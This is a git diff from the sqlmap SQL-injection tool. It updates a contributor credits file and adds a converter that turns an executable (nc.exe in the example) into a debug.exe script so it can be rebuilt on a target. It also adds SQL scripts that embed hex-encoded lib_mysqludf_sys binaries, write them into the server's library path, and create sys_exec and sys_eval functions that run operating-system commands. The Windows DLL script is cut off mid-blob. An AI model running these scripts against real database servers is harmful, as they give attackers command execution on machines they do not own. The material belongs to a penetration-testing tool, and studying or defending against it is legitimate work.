@@ -70,7 +147,7 @@ Michael Majchrowicz <mmajchrowicz@gmail.com>
for suggesting a lot of ideas and features for suggesting a lot of ideas and features
Ferruh Mavituna <ferruh@mavituna.com> Ferruh Mavituna <ferruh@mavituna.com>
for providing me with ideas on the implementation on a couple of for providing me with ideas on the implementation of a couple of
new features new features
Enrico Milanese <enricomilanese@gmail.com> Enrico Milanese <enricomilanese@gmail.com>
@@ -80,9 +157,24 @@ Enrico Milanese <enricomilanese@gmail.com>
Roberto Nemirovsky <roberto.paes@gmail.com> Roberto Nemirovsky <roberto.paes@gmail.com>
for pointing me out some enhancements for pointing me out some enhancements
Markus Oberhumer <markus.oberhumer@jk.uni-linz.ac.at>
Laszlo Molnar <ml1050@cdata.tvnet.hu>
John F. Reiser <sales@bitwagon.com>
for their great tool UPX (Ultimate Packer for eXecutables) included
in sqlmap tree as a contrib library and used mainly to pack the
Metasploit Framework 3 payload stager portable executable,
http://upx.sourceforge.net
Simone Onofri <simone.onofri@gmail.com>
for patching the PHP web backdoor to make it work properly also on
Windows
Antonio Parata <s4tan@ictsc.it> Antonio Parata <s4tan@ictsc.it>
for providing me with some ideas for the PHP backdoor for providing me with some ideas for the PHP backdoor
Adrian Pastor <ap@gnucitizen.org>
for donating to sqlmap development
Chris Patten <cpatten@sunera.com> Chris Patten <cpatten@sunera.com>
for reporting a bug in the blind SQL injection bisection algorithm for reporting a bug in the blind SQL injection bisection algorithm
@@ -116,9 +208,23 @@ Sven Schluter <sschlueter@netzwerk.cc>
for providing with a patch for waiting a number of seconds between for providing with a patch for waiting a number of seconds between
each HTTP request each HTTP request
Uemit Seren <uemit.seren@gmail.com>
for reporting a minor adjustment when running with python 2.6
Sumit Siddharth <sid@notsosecure.com>
for providing me with ideas on the implementation of a couple of
features
M Simkin <mlsimkin@cox.net> M Simkin <mlsimkin@cox.net>
for suggesting a feature for suggesting a feature
Konrads Smelkovs <konrads@smelkovs.com>
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
SQL Server
Marek Stiefenhofer <m.stiefenhofer@r-tec.net>
for reporting a bug
Jason Swan <jasoneswan@gmail.com> Jason Swan <jasoneswan@gmail.com>
for reporting a bug when enumerating columns on Microsoft SQL Server for reporting a bug when enumerating columns on Microsoft SQL Server
for suggesting a couple of improvements for suggesting a couple of improvements
@@ -128,10 +234,13 @@ Alessandro Tanasi <alessandro@tanasi.it>
for suggesting many features and reporting some bugs for suggesting many features and reporting some bugs
for reviewing the documentation for reviewing the documentation
Andres Tarasco <atarasco@gmail.com>
for providing me with good feedback
Efrain Torres <et@metasploit.com> Efrain Torres <et@metasploit.com>
for helping me out to improve the Metasploit Framework 3 sqlmap for helping me out to improve the Metasploit Framework 3 sqlmap
auxiliary module and for commiting it on the Metasploit official auxiliary module and for commiting it on the Metasploit official
Subversion repository subversion repository
for his great Metasploit WMAP Framework for his great Metasploit WMAP Framework
Sandro Tosi <matrixhasu@gmail.com> Sandro Tosi <matrixhasu@gmail.com>
@@ -146,18 +255,42 @@ Bedirhan Urgun <bedirhanurgun@gmail.com>
Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com> Kyprianos Vassilopoulos <kyprianos.vasilopoulos@gmail.com>
for reporting an unhandled connection exception for reporting an unhandled connection exception
Anthony Zboralski <anthony.zboralski@bellua.com>
for providing me with detailed feedback
for reporting a few minor bugs
for donating to sqlmap development
fufuh <fufuh@users.sourceforge.net> fufuh <fufuh@users.sourceforge.net>
for reporting a bug when running on Windows for reporting a bug when running on Windows
mariano <marianoso@gmail.com> mariano <marianoso@gmail.com>
for reporting a bug for reporting a bug
pacman730 <pacman730@users.sourceforge.net>
for reporting a bug
Stuffe <stuffe.dk@gmail.com>
for reporting a minor bug and a feature request
Sylphid <sylphid.su@sti.com.tw> Sylphid <sylphid.su@sti.com.tw>
for suggesting some features for suggesting some features
== Organizations == == Organizations ==
Black Hat team <info@blackhat.com>
for the opportunity to present my research on 'Advanced SQL injection
to operating system full control' at Black Hat Europe 2009 Briefings on
April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of
the sqlmap 0.7 release candidate version new features during my
presentation
Metasploit LLC <msfdev@metasploit.com>
for their powerful tool Metasploit Framework 3, used by sqlmap, among
others things, to create the payload stager and establish an
out-of-band connection between sqlmap and the database server,
http://www.metasploit.com/framework
OWASP Board <http://www.owasp.org> OWASP Board <http://www.owasp.org>
for sponsoring part of the sqlmap development in the context of OWASP for sponsoring part of the sqlmap development in the context of OWASP
Spring of Code 2007 Spring of Code 2007

24
extra/dbgtool/README.txt Normal file
View File

@@ -0,0 +1,24 @@
To use dbgtool.py you need to pass it the MS-DOS executable binary file,
and optionally the output debug.exe script file name.
Example:
$ python ./dbgtool.py -i ./nc.exe -o nc.scr
This will create a ASCII text file with CRLF line terminators called
nc.scr.
Such file can then be converted to its original portable executable with
the Windows native debug.exe, that is installed by default in all Windows
systems:
> debug.exe < nc.scr
To be able to execute it on Windows you have to rename it to end with
'.com' or '.exe':
> ren nc_exe nc.exe
Happy hacking!
Bernardo Damele A. G. <bernardo.damele@gmail.com>

109
extra/dbgtool/dbgtool.py Executable file
View File

@@ -0,0 +1,109 @@
#!/usr/bin/env python
"""
dbgtool.py - Portable executable to ASCII debug script converter
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import sys
import struct
from optparse import OptionError
from optparse import OptionParser
def convert(inputFile):
fileStat = os.stat(inputFile)
fileSize = fileStat.st_size
if fileSize > 65280:
print 'ERROR: the provided input file \'%s\' is too big for debug.exe' % inputFile
sys.exit(1)
script = 'n %s\r\nr cx\r\n' % os.path.basename(inputFile.replace('.', '_'))
script += "%x\r\nf 0100 ffff 00\r\n" % fileSize
scrString = ""
counter = 256
counter2 = 0
fp = open(inputFile, 'rb')
fileContent = fp.read()
for fileChar in fileContent:
unsignedFileChar = struct.unpack('B', fileChar)[0]
if unsignedFileChar != 0:
counter2 += 1
if not scrString:
scrString = "e %0x %02x" % (counter, unsignedFileChar)
else:
scrString += " %02x" % unsignedFileChar
elif scrString:
script += "%s\r\n" % scrString
scrString = ""
counter2 = 0
counter += 1
if counter2 == 20:
script += "%s\r\n" % scrString
scrString = ""
counter2 = 0
script += "w\r\nq\r\n"
return script
def main(inputFile, outputFile):
if not os.path.isfile(inputFile):
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
sys.exit(1)
script = convert(inputFile)
if outputFile:
fpOut = open(outputFile, 'w')
sys.stdout = fpOut
sys.stdout.write(script)
sys.stdout.close()
else:
print script
if __name__ == '__main__':
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1')
try:
parser.add_option('-i', dest='inputFile', help='Input binary file')
parser.add_option('-o', dest='outputFile', help='Output debug.exe text file')
(args, _) = parser.parse_args()
if not args.inputFile:
parser.error('Missing the input file, -h for help')
except (OptionError, TypeError), e:
parser.error(e)
inputFile = args.inputFile
outputFile = args.outputFile
main(inputFile, outputFile)

View File

@@ -76,3 +76,7 @@ SQLMAP: [*] shutting down at: 16:23:21
SQLMAP: SQLMAP:
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
msf auxiliary(wmap_sqlmap) > msf auxiliary(wmap_sqlmap) >
Happy hacking!
Bernardo Damele A. G. <bernardo.damele@gmail.com>

View File

@@ -0,0 +1,120 @@
-- Notes:
--
-- The SO compiled using MySQL 5.0.67 C libraries works also on MySQL
-- 5.1.30 and MySQL 4.1.22 (TODO: confirm)
--
-- SO compiled using MySQL 5.1.30 C libraries
-- lib_mysqludf_sys.so: 12896 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
-- lib_mysqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
--
-- Little hack to compress the shared object:
-- * Compile with -O1 the shared object
-- * Use strip to remove all symbols (-s) and non-global symbols (-x)
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data blob);
-- Insert the hexadecimal encoded UDF in the table
--
-- SO compiled using MySQL 5.1.30 C libraries
INSERT INTO udftest(data) VALUE (0x7f454c46010101000000000000000000030003000100000010080000340000007c1100000000000034002000050028001900180001000000000000000000000000000000bc0e0000bc0e0000050000000010000001000000040f0000041f0000041f00000801000010010000060000000010000002000000180f0000181f0000181f0000d0000000d0000000060000000400000051e574640000000000000000000000000000000000000000060000000400000052e57464040f0000041f0000041f0000fc000000fc00000004000000010000001100000024000000000000000d00000000000000030000001a00000000000000070000001b0000000a000000140000000f000000150000000c0000000e0000001e000000060000001c000000000000000000000000000000010000000000000000000000020000000400000000000000230000002200000000000000130000001d000000170000000b000000000000000000000005000000090000002100000011000000000000001800000020000000080000001f0000000000000010000000000000001900000000000000160000000000000012000000000000001100000010000000040000000700000001080440801946c99ca40803900460831000000012000000130000001500000016000000180000001b0000001d0000000000);
UPDATE udftest SET data=CONCAT(data,0x00001e000000000000001f0000002000000021000000220000002300000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed971581ca868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff3b9fd4a0ad73d1c50b5911feab5fbe12000000000000000000000000000000009500000000000000000000001200000001000000000000000000000020000000250000000000000000000000200000009b0000000000000000000000120000007201000000000000000000001200000039010000000000000000000012000000a3000000000000000000000012000000ab00000000000000000000001200000065010000000000000000000012000000480100000000000000000000120000008e000000000000000000000012000000b8000000000000000000000012000000160000000000000000000000220000004f010000000000000000000012000000b1000000000000000000000012000000400100006a0d00008b00000012000b0075000000db0800000500000012000b0010000000980e00000000000012000c00ff0000008d0c00004b00000012000b00df000000ac07000000000000120009008a0100000c200000000000001000f1ff300100004d0d00001d00000012000b009601000014200000000000001000f1ff);
UPDATE udftest SET data=CONCAT(data,0x56000000d10800000500000012000b00c90000001f0a00007300000012000b006a0100000f0e00004500000012000b0039000000cc0800000500000012000b00f2000000140c00007900000012000b00830100000c200000000000001000f1ff65000000d60800000500000012000b00e5000000050b00000f01000012000b00d7000000920a00007300000012000b0015010000d80c00007500000012000b0056010000f50d00001a00000012000b0085000000e00800003f01000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f63007374726e6370790066676574730070636c6f7365005f5f737461636b5f63686b5f6661696c007379735f6576616c5f696e6974007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379);
UPDATE udftest SET data=CONCAT(data,0x735f657865630073797374656d007379735f736574006d656d63707900736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3400474c4942435f322e3000474c4942435f322e310000000002000000000003000300030003000300030003000300040005000300020001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000400790100001000000000000000731f6909000005009b010000100000001469690d00000400a7010000100000001069690d00000300b1010000100000001169690d00000200bb010000000000001e09000008000000082000000800000014090000020b0000c50b0000020b00002b090000020100006a090000020400008b09000002070000b109000002080000c3090000020f0000100a0000020c00005f0d0000020600009c0d0000020a0000c10d0000020a0000df0d0000020e0000090e000002090000220e000002050000e81f000006020000ec1f000006030000f01f0000060d0000002000000702000004200000070d00005589e55383ec04e8000000005b81c33c1800008b93f4ffffff85d274);
UPDATE udftest SET data=CONCAT(data,0x05e81e000000e8bd000000e888060000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff000000005589e55653e8ad00000081c3da17000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8b8ffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c35b17000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35589e557565381ec2c0400008b5d0c8b45148985d8fbffff8b55188995d4fbffff65a1140000008945f031c0c7042401000000e8fcffffff89c6c7442404b40e00008b43088b00890424e8fcffffff8985dcfbffffc785e0fbffff00000000eb548dbdf0fbffffb800000000b9fffffffff2ae89c8f7d08d78ff8b9de0fbffff01fb895c2404893424e8fcffffff89c6897c24088d95f0fbffff895424048b95e0fbffff8d0410890424e8fcffffff899de0fbffff8b85dcfbffff89442408c7442404000400008d95f0fbffff891424e8fcffffff85c075888b);
UPDATE udftest SET data=CONCAT(data,0x85dcfbffff890424e8fcffffff803e00740485f6750b8b95d4fbffffc60201eb268b85e0fbffffc64406ff0089f7b800000000b9fffffffff2aef7d183e9018b95d8fbffff890a89f08b55f0653315140000007405e8fcffffff81c42c0400005b5e5f5dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e55383ec048b550c8b5d10833a027444c70345787065c7430463746564c7430820657861c7430c63746c79c743102074776fc7431420617267c74318756d656e66c7431c7473c6431e00ba01000000e9b10000008b4204833800744cc70345787065c7430463746564c7430820737472c7430c696e6720c7431074797065c7431420666f72c74318206e616dc7431c65207061c7432072616d65c7432474657200ba010000);
UPDATE udftest SET data=CONCAT(data,0x00eb5dc74004000000008b520c8b0283c002034204890424e8fcffffff8b550889420cba0000000085c07534c703436f756cc7430464206e6fc743087420616cc7430c6c6f6361c743107465206dc74314656d6f7266c743187900ba0100000089d083c4045b5dc35589e58b450c8b551083380175158b4004833800750d8b4508c60001b800000000eb54c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b8010000005dc35589e58b4510c7006c69625fc740046d797371c740086c756466c7400c5f737973c7401020766572c7401473696f6ec7401820302e3066c7401c2e33c6401e008b5514c7021e0000005dc35589e58b5510b9000000008b450c833800745ec7024e6f2061c742047267756dc74208656e7473c7420c20616c6cc742106f776564c7421420287564c74218663a206cc7421c69625f6dc742207973716cc742247564665fc742287379735fc7422c696e666f66c742302900b90100000089c85dc35589e583ec088b450c8b40088b00890424e8fcffffff89c2c1fa1fc9c35589e583ec18895df48975f8897dfc8b5d0c8b45088b700c8b430c8b108d7c16018b43088b008954240889442404893424e8fcff);
UPDATE udftest SET data=CONCAT(data,0xffff8b430c8b00c60406008b530c8b43088b48048b420489442408894c2404893c24e8fcffffff8b430c8b4004c6040700c744240801000000897c2404893424e8fcffffff89c2c1fa1f8b5df48b75f88b7dfc89ec5dc35589e583ec088b45088b400c85c07408890424e8fcffffffc9c35589e55783ec048b450c8b40088b00890424e8fcffffff89c285c075088b4518c60001eb1889c7b800000000b9fffffffff2aef7d183e9018b4514890889d083c4045f5dc39090909090909090909090905589e55653e85dfaffff81c38a1100008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c350110000e860f9ffff595bc9c37200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000790100000c000000ac0700000d000000980e000004000000d4000000f5feff6fb001000005000000a404000006000000640200000a000000c50100000b0000001000000003000000f41f000002000000100000001400000011000000170000009c07000011000000040700001200000098000000);
UPDATE udftest SET data=CONCAT(data,0x13000000080000001600000000000000feffff6fb4060000ffffff6f01000000f0ffff6f6a060000faffff6f0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000181f00000000000000000000f20700000208000008200000004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e74000000000000000000);
UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000d4000000d4000000dc000000030000000000000004000000040000000b000000f6ffff6f02000000b0010000b0010000b400000003000000000000000400000004000000150000000b00000002000000640200006402000040020000040000000100000004000000100000001d0000000300000002000000a4040000a4040000c50100000000000000000000010000000000000025000000ffffff6f020000006a0600006a060000480000000300000000000000020000000200000032000000feffff6f02000000b4060000b40600005000000004000000010000000400000000000000410000000900000002000000040700000407000098000000030000000000000004000000080000004a00000009000000020000009c0700009c07000010000000030000000a0000000400000008000000530000000100000006000000ac070000ac07000030000000000000000000000004000000000000004e0000000100000006000000dc070000dc0700003000000000000000000000000400000004000000590000000100000006000000100800001008000088060000000000000000000010000000000000005f0000000100000006000000980e0000980e00001c000000);
UPDATE udftest SET data=CONCAT(data,0x00000000000000000400000000000000650000000100000032000000b40e0000b40e000002000000000000000000000001000000010000006d0000000100000002000000b80e0000b80e00000400000000000000000000000400000000000000770000000100000003000000041f0000040f000008000000000000000000000004000000000000007e00000001000000030000000c1f00000c0f00000800000000000000000000000400000000000000850000000100000003000000141f0000140f000004000000000000000000000004000000000000008a0000000600000003000000181f0000180f0000d000000004000000000000000400000008000000930000000100000003000000e81f0000e80f00000c00000000000000000000000400000004000000980000000100000003000000f41f0000f40f00001400000000000000000000000400000004000000a1000000010000000300000008200000081000000400000000000000000000000400000000000000a700000008000000030000000c2000000c1000000800000000000000000000000400000000000000ac0000000100000000000000000000000c100000b90000000000000000000000010000000000000001000000030000000000000000000000c5100000b500000000000000000000000100000000000000);
-- Export the hexadecimal encoded UDF to a binary file on the file system
--
-- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0:
--
-- From MySQL 5.1 and 6.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. The file
-- must be located in the plugin directory. This directory is given
-- by the value of the plugin_dir system variable.
--
-- Note that /TODO/plugin DOES NOT
-- exist by default so it is NOT possible to save the SO in the proper
-- folder where MySQL server looks for SOs.
-- SHOW VARIABLES WHERE variable_name='plugin_dir';
--
-- References:
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html
--
-- The SO can be only in /TODO
-- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 5.1 >= 5.1.19
-- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 6.0
--
-- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19:
--
-- From MySQL 4.1 and 5.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. As of MySQL
-- M.m.m, the file must be located in the plugin directory. This
-- directory is given by the value of the plugin_dir system variable.
-- If the value of plugin_dir is empty, the behavior that is used
-- before M.m.m applies: The file must be located in a directory
-- that is searched by your system's dynamic linker.
--
-- References:
-- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html
--
-- The SO can be in either /lib, /usr/lib or one of the paths specified in
-- /etc/ld.so.conf file, none of these paths are writable by mysql user by
-- default (tested on MySQL 5.0.67 with NO plugin_dir set in my.cnf
-- configuration file, which is the default setting)
-- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
-- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file
--
-- Notes:
-- If the library file already exists, the user mysql does not have access
-- to overwrite it
-- The following enumerates the MySQL data directory
-- SELECT @@datadir
-- The followings will save into /var/lib/mysql/. It is not a valid PATH
-- where MySQL looks for SO
-- SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.so';
-- The following will save into /var/lib/mysql/mysql where 'mysql' is the
-- database name where it is connected. It is not a valid PATH where MySQL
-- looks for SO
-- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql
-- The following would save into / (Permission denied)
-- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.so';
-- Create two functions from the binary UDF file
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
-- Test the two functions
SELECT sys_exec('echo test > /tmp/lib_mysqludf_sys.txt'); -- -rw-rw---- 1 mysql mysql
SELECT sys_eval('cat /tmp/lib_mysqludf_sys.txt ; id');
-- Cleanup the file system and the database
SELECT sys_exec('rm -f /tmp/lib_mysqludf_sys.*');
DROP TABLE IF EXISTS udftest;
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0

View File

@@ -0,0 +1,128 @@
-- Notes:
--
-- The DLL compiled using MySQL 5.1.30 C libraries works also on MySQL
-- 5.0.67 and MySQL 4.1.22
--
-- DLL compiled using MySQL 5.1.30 C libraries
-- lib_mysqludf_sys.dll: 9216 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
-- lib_mysqludf_sys.dll: 6656 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
--
-- Little hack to compress the dynamic-linked library:
-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
-- * Remember to compile it under Visual C++ 2008 with the
-- 'Configuration' set as 'Release'
-- * Use upx (http://upx.sourceforge.net) over the DLL:
-- * upx -9 library.dll -o library_upx.dll
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data blob);
-- Insert the hexadecimal encoded UDF in the table
--
-- DLL compiled using MySQL 5.1.30 C libraries
INSERT INTO udftest(data) VALUE (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000ad137127e9721f74e9721f74e9721f74e00a8c74eb721f74e00a8a74e8721f74e00a9c74e7721f74e00a9b74eb721f742a7d4274ea721f74e9721e74c0721f74e00a9674e8721f74e00a8d74e8721f74e00a8e74e8721f7452696368e9721f7400000000000000000000000000000000504500004c010300ce2e8e490000000000000000e00002210b010900001000000010000000600000507c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020040010000100000100000000010000010000000000000100000007c830000b8010000b4820000c800000000800000b402000000000000000000000000000000000000348500001000000000000000000000000000000000000000000000000000000000000000000000001c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000);
UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e303300555058210d090209285e83bd2629a7f017550000480c000000240000260000eb);
UPDATE udftest SET data=CONCAT(data,0xffcbffff8b442408833800741956578b7c2414b90c00be000010e8f3a566a56edd92ff5fb0015ec332c0c3cc2f0c2ab907fbeddbcf26111c8bf8288b4c24182ca45fc7011e16f7cf0eac5e2ecc5f0175128b4004676430f76e750a2c04c6010155710a1db2d8f3113ca4723f8b484df7efbe021152ff15968083c40485c075084514c365dffeff8bc8568d71018a114184d275f98b54142bce890a4019bb6dba7f4c39026b74186d07b0df4b06688b419974158db6ae9d9d88f3fdc7b61100230c5d37f6df85048b108d44110250899859108d893c19a16b1990173c0611b05b4a68935fe70f464085ed767732740a890aff254aa0c31f6fdb42fb53568b745b1d78734602088b46f6eddb2fd18d5c39010a525157e8300c108b5617d6de65fb02c60407974e5104219d1c76fb36c95342d2c4185357220300ad6cae843f005f5e995bc34f9099c309830c20af0b03a8c35dc242dc0081ec10305bd7f85ba102200033c489842c0d8b0620dcdc373f8c2424538b9c241c07556a01db2038360214893d515397f0fcc7de6dd76863cc5033ff14948bd8538d4c24287063edae3251895c421688debe712b6c435355904c8d5001084084c9cb63bf5d2bc22e8d2c3b55563b848bf054dde6842f528d043eb48c24511334db70d8634f528bfd4d20c4b38b5ebf6d4678105d53189c803eb3c67436c6443b04fbee3eff0063eb038d);
UPDATE udftest SET data=CONCAT(data,0x490068fc6c0d3f777b5f8901205e5bd8e633cc7e0375bceee17481c401c31418f4935f0f0fecad221bc602011e3b0d2275c60cfff602f3c3e90807318bff5668805fb778ffdd7e56c07c5959a3062358045485f67505dbb07be133c040748326004908ff270929098e36d6fde8c70424063b0b5923d2efddbffdff558bec51510a39450c750e39056b107e3cff7337deb51bb37d0cb50910488b096957897c6cdd770a23480f85d47d641718ec797677db6d5135202c893d50bb1e50eb184af0c1febba705f43bc7741768e803a8306a0057aedbdeb02ed63ae7eb07c72c013ca12feddeddf04c6a025e9d096a1f920aa6eb3caa10bcae7deffd04b4c7051f281aa0e027fdfbbeb3075cf120b004ac1b9a59893573a576e32b085939b2f26973dfeebdfb34393d155c741c68062809dc430dd8f65ae1ff751034252316fff1acb919be54ee01dc0801a1db76367b6378d665fc00dfdb0fd4ac3dc944fc83f80266d26dec1b1b595bffa0584b7031fb0e376daf45d70f8487c7195413a5bbb6401e8b141810897d563fb6f5edef043bc87251833f6cf36a74390774e92d3cdbdaff372620f8108907b9f8b8bd599b5615441b474df86bdf1adf900c394d1003d00874b4890902886db76d0c1a0860eba7f60c3d881163564d442e38200bdb5758064c32fc3f5079811d8e4390c9c2e96a1068cd7de37712d8d0d88bd2f28b5d08);
